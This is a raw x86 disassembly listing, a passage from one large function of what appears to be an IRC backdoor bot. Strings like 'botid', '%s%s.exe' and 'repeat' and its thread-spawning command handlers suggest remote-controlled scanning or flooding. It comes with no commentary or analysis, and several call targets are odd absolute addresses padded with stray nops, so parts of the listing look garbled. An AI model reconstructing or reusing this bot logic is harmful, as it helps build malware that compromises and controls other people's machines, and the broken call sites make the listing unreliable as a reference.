cmp [ebp+var_330], ebx
jz loc_414039
mov edi, [ebp+esi+var_80]
cmp edi, ebx
mov [ebp+arg_18], edi
jz short loc_411FBD
cmp byte ptr [edi], 23h
jz short loc_411FBD
push edi
lea eax, [ebp+var_444]
push 10h
push eax
call sub_41782A
push 78h
push edi
call sub_418F50
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_304], eax
jmp loc_412091
; ---------------------------------------------------------------------------
loc_411FBD: ; CODE XREF: sub_40EE72+3119j
; sub_40EE72+311Ej
cmp [ebp+var_9C7], bl
jnz short loc_411FDF
cmp [ebp+var_9C6], bl
jnz short loc_411FDF
cmp [ebp+var_9B6], bl
jnz short loc_411FDF
push offset unk_436FE0
jmp loc_4145FE
; ---------------------------------------------------------------------------
loc_411FDF: ; CODE XREF: sub_40EE72+3151j
; sub_40EE72+3159j ...
push 10h
lea eax, [ebp+arg_0]
pop edi
push eax
lea eax, [ebp+var_2EC]
push eax
mov [ebp+arg_0], edi
push [ebp+arg_4]
call dword_43F60C
mov al, [ebp+var_9C7]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_2E8], eax
push [ebp+var_2E8]
call dword_43F6F4
push eax
lea eax, [ebp+var_444]
push eax
call sub_418C10
add esp, 0Ch
cmp [ebp+var_9B6], bl
jz short loc_41208B
xor eax, eax
cmp [ebp+var_9C7], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_444]
push eax
call sub_418F10
pop ecx
cmp edi, ebx
pop ecx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_41207F
loc_41205D: ; CODE XREF: sub_40EE72+320Bj
cmp eax, ebx
jz short loc_41207F
mov byte ptr [eax], 78h
lea eax, [ebp+var_444]
push 30h
push eax
call sub_418F10
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_41205D
loc_41207F: ; CODE XREF: sub_40EE72+31E9j
; sub_40EE72+31EDj
mov [ebp+var_304], 1
jmp short loc_412091
; ---------------------------------------------------------------------------
loc_41208B: ; CODE XREF: sub_40EE72+31C3j
mov [ebp+var_304], ebx
loc_412091: ; CODE XREF: sub_40EE72+3146j
; sub_40EE72+3217j
mov eax, [ebp+arg_4]
push [ebp+var_8C]
mov [ebp+var_334], eax
mov eax, [ebp+var_4]
mov [ebp+var_30C], eax
mov eax, [ebp+var_8]
mov [ebp+var_308], eax
mov edi, 80h
lea eax, [ebp+var_434]
push edi
push eax
call sub_41782A
mov esi, [ebp+esi+var_7C]
add esp, 0Ch
cmp esi, ebx
jz short loc_4120E2
loc_4120CF: ; CODE XREF: sub_40EE72+3293j
push esi
loc_4120D0: ; CODE XREF: sub_40EE72+327Dj
lea eax, [ebp+var_3B4]
push edi
push eax
call sub_41782A
add esp, 0Ch
jmp short loc_41210D
; ---------------------------------------------------------------------------
loc_4120E2: ; CODE XREF: sub_40EE72+325Bj
mov eax, [ebp+arg_18]
cmp eax, ebx
jz short loc_4120F1
cmp byte ptr [eax], 23h
jnz short loc_4120F1
push eax
jmp short loc_4120D0
; ---------------------------------------------------------------------------
loc_4120F1: ; CODE XREF: sub_40EE72+3275j
; sub_40EE72+327Aj
mov esi, offset aF ; "#f"
push offset byte_43C80C
push esi
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4120CF
mov [ebp+var_3B4], bl
loc_41210D: ; CODE XREF: sub_40EE72+326Ej
cmp [ebp+var_304], ebx
mov eax, offset aRandom_0 ; "Random"
jnz short loc_41211F
mov eax, offset aSequential ; "Sequential"
loc_41211F: ; CODE XREF: sub_40EE72+32A6j
push [ebp+var_318]
lea ecx, [ebp+var_444]
push [ebp+var_328]
push [ebp+var_32C]
push [ebp+var_330]
push ecx
push eax
lea eax, [ebp+var_2DC]
push offset unk_436F5C
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 8
push eax
call sub_416D5C
add esp, 2Ch
mov [ebp+var_324], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_444]
push ebx
push eax
push offset sub_40797F
push ebx
push ebx
call near ptr 2660D4Bh
nop
mov ecx, [ebp+var_324]
imul ecx, 234h
cmp eax, ebx
mov dword_4450D4[ecx], eax
jz short loc_4121AD
loc_412197: ; CODE XREF: sub_40EE72+3339j
cmp [ebp+var_300], ebx
jnz loc_41460C
push 32h
nop
call near ptr 25F0439h
jmp short loc_412197
; ---------------------------------------------------------------------------
loc_4121AD: ; CODE XREF: sub_40EE72+3323j
nop
call near ptr 2630313h
push eax
push offset unk_436F14
jmp loc_413BFD
; ---------------------------------------------------------------------------
loc_4121BE: ; CODE XREF: sub_40EE72+279Aj
; sub_40EE72+27B1j
push edi
call sub_41781F
imul eax, 234h
pop ecx
cmp byte_4450D8[eax], bl
jz loc_414F47
cmp [ebp+var_C], ebx
jz loc_414F47
push [ebp+arg_18]
call sub_417AB0
push edi
mov esi, eax
call sub_417AB0
push [ebp+arg_8]
add esi, eax
call sub_417AB0
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_417880
add esp, 14h
mov esi, eax
lea eax, [ebp+var_2DC]
push esi
push offset dword_436F08
push eax
call sub_4172B0
add esp, 0Ch
cmp esi, ebx
jz loc_414F47
push edi
call sub_41781F
test eax, eax
pop ecx
jle loc_414F47
push edi
call sub_41781F
cmp eax, 1F4h
pop ecx
jge loc_414F47
push ebx
lea eax, [ebp+var_2DC]
push ebx
push eax
push [ebp+arg_18]
push edi
call sub_41781F
imul eax, 234h
pop ecx
push dword_4450CC[eax]
call sub_40D679
push edi
call sub_41781F
imul eax, 234h
add esp, 18h
cmp byte ptr dword_444EC0[eax], 73h
jnz loc_414F47
push esi
push edi
call sub_41781F
imul eax, 234h
pop ecx
add eax, offset byte_4450D8
push eax
push [ebp+arg_18]
push offset aSSS_1 ; "[%s] * %s %s"
loc_4122A9: ; CODE XREF: sub_40EE72+3534j
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
add esp, 28h
jmp loc_414F47
; ---------------------------------------------------------------------------
loc_4122D6: ; CODE XREF: sub_40EE72+276Cj
; sub_40EE72+2783j
push edi
call sub_41781F
imul eax, 234h
pop ecx
cmp byte_4450D8[eax], bl
jz loc_414F47
cmp [ebp+var_C], ebx
jz loc_414F47
push [ebp+arg_18]
call sub_417AB0
push edi
mov esi, eax
call sub_417AB0
push [ebp+arg_8]
add esi, eax
call sub_417AB0
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_417880
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_414F47
push edi
call sub_41781F
test eax, eax
pop ecx
jle loc_414F47
push edi
call sub_41781F
cmp eax, 1F4h
pop ecx
jge loc_414F47
push ebx
push ebx
push esi
push [ebp+arg_18]
push edi
call sub_41781F
imul eax, 234h
pop ecx
push dword_4450CC[eax]
call sub_40D679
push edi
call sub_41781F
imul eax, 234h
add esp, 18h
cmp byte ptr dword_444EC0[eax], 73h
jnz loc_414F47
push esi
push edi
call sub_41781F
imul eax, 234h
pop ecx
add eax, offset byte_4450D8
push eax
push [ebp+arg_18]
push offset aSSS_0 ; "[%s] <%s> %s"
jmp loc_4122A9
; ---------------------------------------------------------------------------
loc_4123AB: ; CODE XREF: sub_40EE72+273Ej
; sub_40EE72+2755j
push edi
call dword_43F6A8
push [ebp+arg_18]
mov [ebp+var_474], eax
call sub_41781F
push [ebp+arg_0]
mov [ebp+var_480], eax
call sub_41781F
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_8C]
mov [ebp+var_47C], eax
lea eax, [ebp+var_500]
mov [ebp+var_504], esi
push eax
call sub_418C10
add esp, 14h
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_46C], edi
push [ebp+var_47C]
mov [ebp+var_468], eax
push [ebp+var_480]
push [ebp+var_474]
call dword_43F6F4
push eax
lea eax, [ebp+var_2DC]
push offset unk_436E9C
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 8
push eax
call sub_416D5C
add esp, 20h
mov [ebp+var_478], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_504]
push ebx
push eax
push offset byte_415E37
push ebx
push ebx
nop
call near ptr 2660D4Bh
mov ecx, [ebp+var_478]
imul ecx, 234h
cmp eax, ebx
mov dword_4450D4[ecx], eax
jz short loc_41248D
loc_412477: ; CODE XREF: sub_40EE72+3619j
cmp [ebp+var_464], ebx
jnz loc_4144E5
push 32h
call near ptr 25F0439h
nop
jmp short loc_412477
; ---------------------------------------------------------------------------
loc_41248D: ; CODE XREF: sub_40EE72+3603j
nop
call near ptr 2630313h
push eax
push offset unk_436E50
jmp loc_4144D6
; ---------------------------------------------------------------------------
loc_41249E: ; CODE XREF: sub_40EE72+2710j
; sub_40EE72+2727j
push edi
call sub_41781F
push 7Fh
mov [ebp+var_314], eax
push [ebp+arg_18]
lea eax, [ebp+var_418]
push eax
call sub_418C10
push [ebp+arg_0]
call sub_41781F
mov esi, [ebp+arg_4]
add esp, 14h
mov [ebp+var_318], eax
lea eax, [ebp+var_398]
push [ebp+var_8C]
mov [ebp+var_420], esi
push 80h
push eax
call sub_41782A
mov eax, [ebp+var_8]
add esp, 0Ch
mov edi, [ebp+var_4]
mov [ebp+var_304], eax
push [ebp+var_318]
lea eax, [ebp+var_418]
mov [ebp+var_308], edi
push eax
push [ebp+var_314]
push esi
call sub_40AEE0
pop ecx
push eax
lea eax, [ebp+var_2DC]
push offset unk_436E04
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 10h
push eax
call sub_416D5C
add esp, 24h
mov [ebp+var_310], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_420]
push ebx
push eax
push offset sub_407BDE
push ebx
push ebx
call near ptr 2660D4Bh
nop
mov ecx, [ebp+var_310]
imul ecx, 234h
cmp eax, ebx
mov dword_4450D4[ecx], eax
jz short loc_41258A
loc_412574: ; CODE XREF: sub_40EE72+3716j
cmp [ebp+var_300], ebx
jnz loc_4144E5
push 32h
nop
call near ptr 25F0439h
jmp short loc_412574
; ---------------------------------------------------------------------------
loc_41258A: ; CODE XREF: sub_40EE72+3700j
call near ptr 2630313h
nop
push eax
push offset unk_436DB0
jmp loc_4144D6
; ---------------------------------------------------------------------------
loc_41259B: ; CODE XREF: sub_40EE72+26E2j
; sub_40EE72+26F9j
push 0FFh
lea eax, [ebp+var_780]
push edi
push eax
call sub_418C10
push 0FFh
lea eax, [ebp+var_680]
push [ebp+arg_18]
push eax
call sub_418C10
push [ebp+arg_0]
mov [ebp+var_57C], ebx
call sub_41781F
mov [ebp+var_578], eax
mov eax, [ebp+esi+var_84]
add esp, 1Ch
cmp eax, ebx
jz short loc_4125F7
push 10h
push ebx
push eax
call sub_418A3B
add esp, 0Ch
mov [ebp+var_570], eax
jmp short loc_4125FD
; ---------------------------------------------------------------------------
loc_4125F7: ; CODE XREF: sub_40EE72+376Fj
mov [ebp+var_570], ebx
loc_4125FD: ; CODE XREF: sub_40EE72+3783j
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz short loc_412614
push esi
call sub_41781F
pop ecx
mov [ebp+var_574], eax
jmp short loc_41261A
; ---------------------------------------------------------------------------
loc_412614: ; CODE XREF: sub_40EE72+3791j
mov [ebp+var_574], ebx
loc_41261A: ; CODE XREF: sub_40EE72+37A0j
movzx eax, [ebp+var_9C3]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_8C]
mov [ebp+var_56C], eax
lea eax, [ebp+var_800]
mov [ebp+var_804], esi
push eax
call sub_418C10
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_564], eax
mov eax, [ebp+var_8]
push [ebp+arg_18]
mov [ebp+var_568], eax
lea eax, [ebp+var_2DC]
push edi
push offset unk_436D74
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_2DC]
push 16h
push eax
call sub_416D5C
add esp, 1Ch
mov [ebp+var_580], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_804]
push ebx
push eax
push offset sub_40CAF1
push ebx
push ebx
nop
call near ptr 2660D4Bh
mov ecx, [ebp+var_580]
imul ecx, 234h
cmp eax, ebx
mov dword_4450D4[ecx], eax
jz short loc_4126CB
loc_4126B5: ; CODE XREF: sub_40EE72+3857j
cmp [ebp+var_560], ebx
jnz loc_411D22
push 32h
nop
call near ptr 25F0439h
jmp short loc_4126B5
; ---------------------------------------------------------------------------
loc_4126CB: ; CODE XREF: sub_40EE72+3841j
nop
call near ptr 2630313h
push eax
push offset unk_436D24
jmp loc_4128CE
; ---------------------------------------------------------------------------
loc_4126DC: ; CODE XREF: sub_40EE72+26B4j
; sub_40EE72+26CBj
push 7Fh
lea eax, [ebp+var_76C]
pop esi
push esi
push edi
push eax
call sub_418C10
push esi
lea eax, [ebp+var_6EC]
push [ebp+arg_18]
push eax
call sub_418C10
push esi
lea eax, [ebp+var_66C]
push [ebp+arg_0]
push eax
call sub_418C10
push esi
lea eax, [ebp+var_5EC]
push [ebp+var_8C]
push eax
call sub_418C10
mov eax, [ebp+var_8]
add esp, 30h
mov esi, [ebp+var_4]
mov [ebp+var_564], eax
push [ebp+arg_0]
mov eax, [ebp+arg_4]
mov [ebp+var_770], eax
lea eax, [ebp+var_2DC]
push [ebp+arg_18]
mov [ebp+var_568], esi
push edi
push offset dword_436CE8
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 0Bh
push eax
call sub_416D5C
add esp, 20h
mov [ebp+var_56C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_770]
push ebx
push eax
push offset sub_4019D7
push ebx
push ebx
call near ptr 2660D4Bh
nop
mov ecx, [ebp+var_56C]
imul ecx, 234h
cmp eax, ebx
mov dword_4450D4[ecx], eax
jz short loc_4127AF
loc_41279D: ; CODE XREF: sub_40EE72+393Bj
cmp [ebp+var_560], ebx
jnz short loc_4127CA
push 32h
nop
call near ptr 25F0439h
jmp short loc_41279D
; ---------------------------------------------------------------------------
loc_4127AF: ; CODE XREF: sub_40EE72+3929j
call near ptr 2630313h
nop
push eax
lea eax, [ebp+var_2DC]
push offset dword_436CA0
push eax
call sub_4172B0
add esp, 0Ch
loc_4127CA: ; CODE XREF: sub_40EE72+3931j
cmp [ebp+var_8], ebx
jnz loc_414E11
push ebx
push esi
jmp loc_414619
; ---------------------------------------------------------------------------
loc_4127DA: ; CODE XREF: sub_40EE72+266Fj
; sub_40EE72+2686j ...
push 7Fh
lea eax, [ebp+var_7E8]
pop esi
push esi
push edi
push eax
call sub_418C10
push esi
lea eax, [ebp+var_768]
push [ebp+arg_18]
push eax
call sub_418C10
push esi
lea eax, [ebp+var_6E8]
push [ebp+arg_0]
push eax
call sub_418C10
push esi
lea eax, [ebp+var_668]
push [ebp+var_8C]
push eax
call sub_418C10
push 20h
lea eax, [ebp+var_5E8]
push [ebp+arg_8]
push eax
call sub_418C10
mov eax, [ebp+var_4]
add esp, 3Ch
mov esi, [ebp+arg_4]
mov [ebp+var_568], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_564], eax
lea eax, [ebp+var_2DC]
push [ebp+arg_18]
mov [ebp+var_7F0], esi
push edi
push offset unk_436C60
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 0Ah
push eax
call sub_416D5C
add esp, 20h
mov [ebp+var_7EC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_7F0]
push ebx
push eax
push offset sub_401000
push ebx
push ebx
nop
call near ptr 2660D4Bh
mov ecx, [ebp+var_7EC]
imul ecx, 234h
cmp eax, ebx
mov dword_4450D4[ecx], eax
jz short loc_4128C2
loc_4128AC: ; CODE XREF: sub_40EE72+3A4Ej
cmp [ebp+var_560], ebx
jnz loc_411D22
push 32h
nop
call near ptr 25F0439h
jmp short loc_4128AC
; ---------------------------------------------------------------------------
loc_4128C2: ; CODE XREF: sub_40EE72+3A38j
nop
call near ptr 2630313h
push eax
push offset unk_436C18
loc_4128CE: ; CODE XREF: sub_40EE72+2E92j
; sub_40EE72+2FEEj ...
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
jmp loc_411D1F
; ---------------------------------------------------------------------------
loc_4128DF: ; CODE XREF: sub_40EE72+2641j
; sub_40EE72+2658j
push 7Fh
lea eax, [ebp+var_458]
push edi
push eax
call sub_418C10
push [ebp+arg_18]
call sub_41781F
push 3Fh
mov [ebp+var_308], eax
push [ebp+arg_0]
lea eax, [ebp+var_3D8]
push eax
call sub_418C10
mov esi, [ebp+esi+var_84]
add esp, 1Ch
cmp esi, ebx
jz short loc_41292D
push 3Fh
lea eax, [ebp+var_398]
push esi
push eax
call sub_418C10
add esp, 0Ch
loc_41292D: ; CODE XREF: sub_40EE72+3AA7j
lea eax, [ebp+var_3D8]
mov [ebp+var_304], 1
push eax
lea eax, [ebp+var_458]
push [ebp+var_308]
push eax
lea eax, [ebp+var_2DC]
push offset unk_436BD8
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 18h
push eax
call sub_416D5C
add esp, 20h
mov [ebp+var_300], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_45C]
push ebx
push eax
push offset sub_40EB92
push ebx
push ebx
nop
call near ptr 2660D4Bh
mov ecx, [ebp+var_300]
imul ecx, 234h
cmp eax, ebx
mov dword_4450D4[ecx], eax
jz short loc_4129B9
loc_4129A3: ; CODE XREF: sub_40EE72+3B45j
cmp [ebp+var_2FC], ebx
jnz loc_413A64
push 32h
call near ptr 25F0439h
nop
jmp short loc_4129A3
; ---------------------------------------------------------------------------
loc_4129B9: ; CODE XREF: sub_40EE72+3B2Fj
nop
call near ptr 2630313h
push eax
push offset unk_436B90
jmp loc_411888
; ---------------------------------------------------------------------------
loc_4129CA: ; CODE XREF: sub_40EE72+2601j
; sub_40EE72+2618j
push [ebp+arg_18]
call sub_41781F
cmp eax, ebx
pop ecx
mov [ebp+var_570], eax
jle loc_412AC1
mov esi, 80h
push edi
lea eax, [ebp+var_6F8]
push esi
push eax
call sub_41782A
add esp, 0Ch
xor eax, eax
cmp [ebp+var_9B6], bl
push [ebp+var_8C]
setnz al
mov [ebp+var_56C], eax
mov eax, [ebp+arg_4]
mov [ebp+var_6FC], eax
lea eax, [ebp+var_5F8]
push esi
push eax
call sub_41782A
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
push [ebp+arg_18]
mov [ebp+var_564], eax
lea eax, [ebp+var_2DC]
push edi
push offset unk_436B54
push 200h
push eax
call sub_41782A
push ebx
lea eax, [ebp+var_2DC]
push 0Dh
push eax
call sub_416D5C
add esp, 20h
mov [ebp+var_578], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_6FC]
push ebx
push eax
push offset sub_40144A
push ebx
push ebx
nop
call near ptr 2660D4Bh
mov ecx, [ebp+var_578]
imul ecx, 234h
cmp eax, ebx
mov dword_4450D4[ecx], eax
jz short loc_412AB0
loc_412A9A: ; CODE XREF: sub_40EE72+3C3Cj
cmp [ebp+var_560], ebx
jnz loc_41460C
push 32h
nop
call near ptr 25F0439h
jmp short loc_412A9A
; ---------------------------------------------------------------------------
loc_412AB0: ; CODE XREF: sub_40EE72+3C26j
nop
call near ptr 2630313h
push eax
push offset unk_436B0C
jmp loc_413BFD
; ---------------------------------------------------------------------------
loc_412AC1: ; CODE XREF: sub_40EE72+3B69j
push offset unk_436AC4
jmp loc_4145FE
; ---------------------------------------------------------------------------
loc_412ACB: ; CODE XREF: sub_40EE72+25D3j
; sub_40EE72+25EAj
push [ebp+arg_18]
push edi
nop
call near ptr 27B0B24h
test eax, eax
jz short loc_412AFB
push [ebp+arg_18]
lea eax, [ebp+var_2DC]
push edi
push offset unk_436A90
push 200h
push eax
call sub_41782A
add esp, 14h
jmp loc_41460C
; ---------------------------------------------------------------------------
loc_412AFB: ; CODE XREF: sub_40EE72+3C65j
push offset dword_436A74
call sub_40AA35
pop ecx
push eax
lea eax, [ebp+var_2DC]
push 200h
push eax
call sub_41782A
jmp loc_413C09
; ---------------------------------------------------------------------------
loc_412B1D: ; CODE XREF: sub_40EE72+25A5j
; sub_40EE72+25BCj
push edi
lea eax, [ebp+var_774]
push 104h
push eax
call sub_41782A
add esp, 0Ch
cmp [ebp+var_C], ebx
jz short loc_412B57
push [ebp+arg_18]
push [ebp+var_C]
call sub_417880
pop ecx
cmp eax, ebx
pop ecx
jz short loc_412B57
push eax
lea eax, [ebp+var_670]
push eax
call sub_4172B0
pop ecx
pop ecx
loc_412B57: ; CODE XREF: sub_40EE72+3CC3j
; sub_40EE72+3CD4j
push [ebp+var_8C]
lea eax, [ebp+var_7F4]
push 80h
push eax
call sub_41782A
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_7F8], eax
mov eax, [ebp+var_4]
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
mov [ebp+var_564], eax
lea eax, [ebp+var_670]
push eax
lea eax, [ebp+var_774]
push eax
push offset unk_436A34
lea eax, [ebp+var_2DC]
push 200h
push eax
call sub_41782A
push ebx
lea eax, [ebp+var_2DC]
push 1Ch
push eax
call sub_416D5C
add esp, 20h
mov [ebp+var_56C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_7F8]
push ebx
push eax
push offset sub_408DCA
push ebx
push ebx
call near ptr 2660D4Bh
nop
mov ecx, [ebp+var_56C]
imul ecx, 234h
cmp eax, ebx
mov dword_4450D4[ecx], eax
jz short loc_412C0D
loc_412BF7: ; CODE XREF: sub_40EE72+3D99j
cmp [ebp+var_560], ebx
jnz loc_414E11
push 32h
call near ptr 25F0439h
nop
jmp short loc_412BF7
; ---------------------------------------------------------------------------
loc_412C0D: ; CODE XREF: sub_40EE72+3D83j
nop
call near ptr 2630313h
push eax
push offset unk_4369E8
jmp loc_414E02
; ---------------------------------------------------------------------------
loc_412C1E: ; CODE XREF: sub_40EE72+2577j
; sub_40EE72+258Ej
push 44h
lea eax, [ebp+var_4A0]
pop esi
push esi
push ebx
push eax
call sub_417330
push 1
mov [ebp+var_4A0], esi
pop esi
mov word ptr [ebp+var_470], bx
push edi
mov [ebp+var_474], esi
call sub_41781F
add esp, 10h
cmp eax, esi
jnz short loc_412C5B
mov word ptr [ebp+var_470], 5
loc_412C5B: ; CODE XREF: sub_40EE72+3DDEj
cmp [ebp+var_C], ebx
jz loc_413A64
push [ebp+arg_18]
push [ebp+var_C]
call sub_417880
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz loc_413A64
lea eax, [ebp+var_2EC]
push eax
lea eax, [ebp+var_4A0]
push eax
push ebx
push ebx
push 28h
push esi
push ebx
push ebx
push edi
push ebx
call near ptr 274056Fh
nop
test eax, eax
jnz short loc_412CA6
push offset unk_4369B4
jmp loc_413A56
; ---------------------------------------------------------------------------
loc_412CA6: ; CODE XREF: sub_40EE72+3E28j
push edi
push offset dword_43698C
jmp loc_411888
; ---------------------------------------------------------------------------
loc_412CB1: ; CODE XREF: sub_40EE72+2549j
; sub_40EE72+2560j
push [ebp+arg_18]
push offset aBotid ; "botid"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_412E2B
lea eax, [ebp+var_3FC]
push eax
push 104h
call near ptr 275113Ah
nop
push 0FFh
lea eax, [ebp+var_780]
push edi
push eax
call sub_418C10
lea eax, [ebp+var_2F8]
push eax
call sub_4159F4
add esp, 10h
push eax
lea eax, [ebp+var_3FC]
push eax
lea eax, [ebp+var_680]
push offset aSS_exe ; "%s%s.exe"
push eax
call sub_4172B0
mov eax, [ebp+esi+var_88]
add esp, 10h
cmp eax, ebx
mov [ebp+var_57C], 1
mov [ebp+var_578], ebx
jz short loc_412D46
push 10h
push ebx
push eax
call sub_418A3B
add esp, 0Ch
mov [ebp+var_570], eax
jmp short loc_412D4C
; ---------------------------------------------------------------------------
loc_412D46: ; CODE XREF: sub_40EE72+3EBEj
mov [ebp+var_570], ebx
loc_412D4C: ; CODE XREF: sub_40EE72+3ED2j
mov esi, [ebp+esi+var_84]
cmp esi, ebx
jz short loc_412D66
push esi
call sub_41781F
pop ecx
mov [ebp+var_574], eax
jmp short loc_412D6C
; ---------------------------------------------------------------------------
loc_412D66: ; CODE XREF: sub_40EE72+3EE3j
mov [ebp+var_574], ebx
loc_412D6C: ; CODE XREF: sub_40EE72+3EF2j
movzx eax, [ebp+var_9C3]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_8C]
mov [ebp+var_56C], eax
lea eax, [ebp+var_800]
mov [ebp+var_804], esi
push eax
call sub_418C10
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_564], eax
mov eax, [ebp+var_8]
mov [ebp+var_568], eax
push edi
lea eax, [ebp+var_2DC]
push offset unk_436944
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_2DC]
push 17h
push eax
call sub_416D5C
add esp, 18h
mov [ebp+var_580], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_804]
push ebx
push eax
push offset sub_40CAF1
push ebx
push ebx
call near ptr 2660D4Bh
nop
mov ecx, [ebp+var_580]
imul ecx, 234h
cmp eax, ebx
mov dword_4450D4[ecx], eax
jz short loc_412E1A
loc_412E04: ; CODE XREF: sub_40EE72+3FA6j
cmp [ebp+var_560], ebx
jnz loc_413A64
push 32h
nop
call near ptr 25F0439h
jmp short loc_412E04
; ---------------------------------------------------------------------------
loc_412E1A: ; CODE XREF: sub_40EE72+3F90j
nop
call near ptr 2630313h
push eax
push offset unk_4368F8
jmp loc_411888
; ---------------------------------------------------------------------------
loc_412E2B: ; CODE XREF: sub_40EE72+3E50j
push offset unk_4368A4
jmp loc_413A56
; ---------------------------------------------------------------------------
loc_412E35: ; CODE XREF: sub_40EE72+251Bj
; sub_40EE72+2532j
push [ebp+var_90]
push offset dword_4386A8
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_40F239
cmp [ebp+var_C], ebx
jz loc_40F239
push [ebp+arg_18]
push [ebp+var_C]
call sub_417880
pop ecx
pop ecx
push eax
lea eax, [ebp+var_2DC]
push [ebp+var_8C]
push [ebp+var_90]
push [ebp+var_94]
push offset dword_436894
push eax
call sub_4172B0
lea eax, [ebp+var_2DC]
push 1FFh
push eax
push [ebp+arg_0]
call sub_418C10
push edi
call sub_41781F
add esp, 28h
test eax, eax
jle short loc_412EBE
push edi
call sub_41781F
imul eax, 3E8h
pop ecx
push eax
nop
call near ptr 25F0439h
loc_412EBE: ; CODE XREF: sub_40EE72+4036j
push offset dword_436870
call sub_40BF6D
mov eax, [ebp+arg_24]
pop ecx
inc eax
jmp loc_40F23C
; ---------------------------------------------------------------------------
loc_412ED2: ; CODE XREF: sub_40EE72+24EDj
; sub_40EE72+2504j
push [ebp+var_90]
push offset dword_4386A8
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_40F239
cmp [ebp+var_C], ebx
jz loc_414F47
push [ebp+arg_18]
push [ebp+var_C]
call sub_417880
mov esi, eax
mov eax, [ebp+arg_18]
inc eax
push offset aRepeat ; "repeat"
push eax
call sub_4176D0
add esp, 10h
test eax, eax
push esi
jz short loc_412F91
push [ebp+var_8C]
lea eax, [ebp+var_2DC]
push [ebp+var_90]
push [ebp+var_94]
push offset dword_436894
push eax
call sub_4172B0
lea eax, [ebp+var_2DC]
push 1FFh
push eax
push [ebp+arg_0]
loc_412F4B: ; DATA XREF: ___:off_42DE40o
call sub_418C10
add esp, 24h
lea eax, [ebp+var_2DC]
push esi
push offset dword_436840
push eax
call sub_4172B0
lea eax, [ebp+var_2DC]
push eax
call sub_40BF6D
push edi
call sub_41781F
add esp, 14h
test eax, eax
jle loc_414F47
push edi
call sub_41781F
add eax, [ebp+arg_24]
pop ecx
jmp loc_40F23C
; ---------------------------------------------------------------------------
loc_412F91: ; CODE XREF: sub_40EE72+40A5j
push offset dword_4367FC
jmp loc_411888
; ---------------------------------------------------------------------------
loc_412F9B: ; CODE XREF: sub_40EE72+24BFj
; sub_40EE72+24D6j
push [ebp+arg_18]
lea eax, [ebp+var_2DC]
push offset dword_4367F4
push eax
call sub_4172B0
push edi
call sub_41781F
add esp, 10h
loc_412FB8: ; CODE XREF: sub_40EE72+41B0j
test eax, eax
jle loc_414F47
push edi
call sub_41781F
cmp eax, 1F4h
pop ecx
jge loc_414F47
loc_412FD2: ; CODE XREF: sub_40EE72+4CBDj
lea eax, [ebp+var_2DC]
push eax
push offset dword_428598
push edi
call sub_41781F
imul eax, 234h
pop ecx
push dword_4450CC[eax]
call sub_40D633
loc_412FF6: ; CODE XREF: sub_40EE72+446Bj
; sub_40EE72+5D44j
add esp, 0Ch
jmp loc_414F47
; ---------------------------------------------------------------------------
loc_412FFE: ; CODE XREF: sub_40EE72+2491j
; sub_40EE72+24A8j
push [ebp+esi+var_88]
lea eax, [ebp+var_2DC]
push [ebp+arg_18]
push offset dword_4367E8
push eax
call sub_4172B0
push edi
call sub_41781F
add esp, 14h
jmp short loc_412FB8
; ---------------------------------------------------------------------------
loc_413024: ; CODE XREF: sub_40EE72+2463j
; sub_40EE72+247Aj
push [ebp+arg_18]
lea eax, [ebp+var_2DC]
push offset dword_4367E0
push eax
call sub_4172B0
push edi
call sub_41781F
add esp, 10h
test eax, eax
jle loc_414F47
push edi
call sub_41781F
cmp eax, 1F4h
pop ecx
jge loc_414F47
lea eax, [ebp+var_2DC]
push eax
push offset dword_428598
push edi
call sub_41781F
imul eax, 234h
